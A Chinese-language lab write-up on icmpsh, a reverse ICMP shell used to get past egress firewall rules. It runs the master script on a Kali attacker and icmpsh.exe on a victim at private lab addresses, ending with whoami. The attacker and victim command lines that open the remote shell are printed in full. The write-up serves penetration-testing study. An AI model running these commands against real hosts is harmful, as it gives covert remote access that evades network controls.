前言
很老的一个技术了,学习下。
ICMP协议工作方式简介
Internet控制报文协议(ICMP)是Internet协议族中一个。它被用于包括路由器在内的网络设备中,用来发送错误报文和操作信息,表示所请求的服务不可用或是主机/路由不可达。ping命令使用第三层即网络层协议,通过ICMP载荷发送消息,该数据包会被封装上IP头。由于MTU的限制,ICMP包的大小不能大于1500字节。
网络层中的ICMP包
Ping命令会向目标主机发送一个IMCP的echo请求。目标主机如果回复echo响应则表示主机存活
场景介绍
有时候,网络管理员使用各种各样的防火墙,对渗透测试是非常困难的,有种这样防火墙:一个允许已知的机器流量在端口和服务(入口过滤),并拥有强大的出口访问控制列表的设置。
当你已经拥有一台机器内部网络或者DMZ的一部分。他并非通过TCP来获得reverse shell的,所以不考虑绑定shell。
然而有关UDP,通常是一个DNS隧道或通过ICMP的渠道来获得一个reverse shell。而ICMP就是这个工具的重点。icmpsh是一个简单的 reverse ICMP shell,
它分别用C(icmpsh-m.c)、Perl(icmpsh-m.pl)、Python(icmpsh_m.py)使win32.slave兼容原始POSIX。
它比其他类似的开源工具的主要优点是,它并不需要管理员权限就能运行到目标机器上。该工具简洁,方便和便于携带(跨平台)。
此脚本主要是针对windows的,他是一个C/S架构:slave(客户端)它是用C写的只能在windows上运行,
master(服务器)是跨平台的,作者将C和Perl已经移植到Python上了。
详细使用方法请参考:
https://github.com/inquisb/icmpsh#usage
本地实验
hacked:192.168.41.128
hacker:192.168.41.136
首先在受害者机器上,我用防火墙设置了一条出站规则,协议类型是TCP,端口是6060
我们在kali上用python2.7起一个在6060端口运行的服务器
80端口起的是apache服务器
本机访问
然后用靶机访问指定端口测试,出站规则是否正常
不指定默认,访问80端口
这里只是验证一下,说明一下如果服务器设置了出口访问控制列表的话,可以通过icmp协议完成一个reverse icmp shell。
kali:
使用第一条命令来关闭ping回复,这样可以防止内核自己对ping包进行响应,单单的用攻击者
sysctl -w net.ipv4.icmp_echo_ignore_all=1 >/dev/null python icmpsh_m.py 192.168.41.136 192.168.41.128 #python icmpsh_m.py 攻击者ip 受害者ip
这里提示错误,看了下py文件
然后kali没有pip,就很无语。参考https://www.cnblogs.com/foe0/p/12217108.html
下的贼慢,然后安装一个包又贼慢,然后新版kali没装vxxxy又去配置去了,这一连串。
windows:
icmpsh.exe -t 192.168.41.136 -d 500 -b 30 -s 128
执行whoami